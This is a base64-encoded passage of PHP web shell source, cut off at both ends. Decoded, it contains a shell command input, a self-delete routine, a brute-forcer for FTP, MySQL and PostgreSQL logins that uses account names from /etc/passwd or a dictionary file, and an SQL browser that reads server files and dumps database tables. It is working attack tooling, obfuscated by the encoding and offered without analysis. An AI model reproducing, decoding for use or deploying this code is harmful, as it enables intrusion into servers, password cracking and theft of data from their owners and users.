NCgl9DQoJZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOw0KCWVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCglkaWUoJ2J5ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCg0KCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIEJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgew0KCUJPRkZIZWFkZXIoKTsNCglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCgkJZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7DQoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsNCgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQoJCQkJQHBnX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9DQoJCSRzdWNjZXNzID0gMDsNCgkJJGF0dGVtcHRzID0gMDsNCgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCgkJCQkJCSR0bXAgPSAiIjsNCgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQ0KCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOw0KCQkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCQlpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgew0KCQkJCQkJCSRzdWNjZXNzKys7DQoJCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApDQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0NCgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQoJfQ0KCWVjaG8gJzxoMT5GVFAgYnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicNCgkJLic8c3Bhbj5TZXJ2ZXI6cG9ydDwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjx0YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+Jw0KCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOw0KCWVjaG8gJzwvZGl2Pjxicj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgew0KCWNsYXNzIERiQ2xhc3Mgew0KCQl2YXIgJHR5cGU7DQoJCXZhciAkbGluazsNCgkJdmFyICRyZXM7DQoJCWZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpCXsNCgkJCSR0aGlzLT50eXBlID0gJHR5cGU7DQoJCX0NCgkJZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7DQoJCQkJCWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBmZXRjaCgpIHsNCgkJCSRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdERicygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZXJyb3IoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQoJCQkJCQlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIEJPRkYyKGZpbGUgdGV4dCk7Q09QWSBCT0ZGMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSBCT0ZGMjsiKTsNCgkJCQkJJHI9YXJyYXkoKTsNCgkJCQkJd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpDQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIEJPRkYyJyk7DQoJCQkJCXJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsNCgkJCQkJd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PSBudWxsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzX251bWVyaWMoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfTsNCgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KCQkJCSRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7DQoJfQ0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICINCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpOyc+PHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRyPg0KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48dGQ+TG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+DQo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsNCiAgICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7DQppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsNCgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOw0KCWlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KCQlpZigk